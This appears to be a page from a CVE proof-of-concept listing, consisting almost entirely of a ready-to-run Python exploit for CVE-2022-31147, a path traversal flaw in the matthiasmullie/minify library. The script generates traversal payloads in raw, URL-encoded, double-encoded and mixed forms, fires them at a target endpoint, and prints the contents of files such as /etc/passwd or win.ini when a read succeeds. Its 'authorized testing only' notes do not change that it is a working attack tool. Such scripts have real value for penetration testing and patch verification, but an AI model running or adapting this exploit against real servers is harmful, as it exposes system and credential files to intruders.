4837 Total CVEs
26 Years
GitHub
README.md
README.md not found for CVE-2022-31147. The file may not exist in the repository.
POC / cve-2022-31147_poc.py PY
#!/usr/bin/env python3
"""
CVE-2022-31147 PoC — Path Traversal / Arbitrary File Read in matthiasmullie/minify
USAGE (authorized targets only):
  python3 cve-2022-31147_poc.py --base https://yourdomain.tld/cdn/minify --linux --file /etc/passwd
  python3 cve-2022-31147_poc.py --base https://yourdomain.tld/cdn/minify --windows --file C:\\Windows\\win.ini
  python3 cve-2022-31147_poc.py --base http://127.0.0.1:8080/cdn/minify --file /var/www/test.txt
Notes:
- Only use on systems you own or have explicit permission to test.
- If vulnerable, the endpoint may return the content of the target file with a 200 OK and text/plain or text/css.
"""
import argparse
import sys
import urllib.parse
import requests
from typing import List

def build_payloads(target_file: str, os_hint: str, max_depth: int = 12) -> List[str]:
    """
    Build a set of traversal payloads trying different depths and encodings.
    """
    ups = "../" if os_hint != "windows" else "..\\\\"  # logical; server-side lib usually treats '/'
    # Most PHP libs normalize '/' so we'll focus on forward slashes primarily.
    base_trav = "../"
    payloads = []
    for depth in range(3, max_depth + 1):
        prefix = base_trav * depth
        p = f"{prefix}{target_file.lstrip('/')}"
        # Raw
        payloads.append(p)
        # URL-encoded traversal
        payloads.append(p.replace("../", "%2e%2e/"))
        # Double-encoded traversal
        payloads.append(p.replace("../", "%252e%252e/"))
        # Mixed encodings
        payloads.append(p.replace("../", "..%2f"))
    # Some apps require a trailing fake extension to pass routing
    with_ext = []
    for p in payloads:
        with_ext.append(p)
        with_ext.append(f"{p}.css")
        with_ext.append(f"{p}?v=1")
    # Deduplicate preserving order
    seen = set()
    uniq = []
    for p in with_ext:
        if p not in seen:
            seen.add(p)
            uniq.append(p)
    return uniq

def looks_like_success(content: bytes, os_hint: str) -> bool:
    text = content.decode(errors="ignore")
    if os_hint == "windows":
        # win.ini often contains these markers
        return ("[extensions]" in text.lower()) or ("fonts" in text.lower())
    else:
        # /etc/passwd markers
        return ("root:x:" in text) or (":/bin/bash" in text) or ("daemon:x:" in text)

def main():
    parser = argparse.ArgumentParser(description="CVE-2022-31147 PoC (AUTHORIZED TESTING ONLY)")
    parser.add_argument("--base", required=True, help="Base minify endpoint, e.g., https://site.tld/cdn/minify")
    parser.add_argument("--file", default="/etc/passwd", help="Target file path to attempt to read")
    parser.add_argument("--windows", action="store_true", help="Hint: target is Windows (uses win.ini heuristic)")
    parser.add_argument("--linux", action="store_true", help="Hint: target is Linux (uses /etc/passwd heuristic)")
    parser.add_argument("--timeout", type=float, default=15.0, help="Request timeout in seconds")
    parser.add_argument("--insecure", action="store_true", help="Allow insecure TLS (self-signed)")
    args = parser.parse_args()

    os_hint = "linux"
    if args.windows and not args.linux:
        os_hint = "windows"

    base = args.base.rstrip("/")
    payloads = build_payloads(args.file, os_hint=os_hint)

    print(f"[i] Testing {len(payloads)} payloads against: {base}")
    session = requests.Session()
    session.headers.update({
        "User-Agent": "CVE-2022-31147-POC/1.0 (+authorized testing only)"
    })
    found = False
    for i, payload in enumerate(payloads, 1):
        url = f"{base}/{payload}"
        try:
            resp = session.get(url, timeout=args.timeout, verify=not args.insecure, allow_redirects=True)
        except requests.RequestException as e:
            print(f"[{i:03d}] ERR  {url} -> {e}")
            continue
        ctype = resp.headers.get("Content-Type", "")
        print(f"[{i:03d}] {resp.status_code:3d} {ctype:25s} {url}")
        if resp.status_code == 200 and looks_like_success(resp.content, os_hint=os_hint):
            print("\n[+] POSSIBLE VULNERABILITY DETECTED!")
            print(f"[+] URL: {url}")
            print(f"[+] Content-Type: {ctype}")
            print("[+] Snippet:\n")
            sample = resp.content.decode(errors="ignore")[:500]
            print(sample)
            found = True
            break

    if not found:
        print("\n[-] No obvious successful read detected with basic payloads.")
        print("    The target may be patched, protected by routing/WAF, or require different depth/encoding.")
        print("    Try --file with a known-accessible test file you created on the server.")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        sys.exit(1)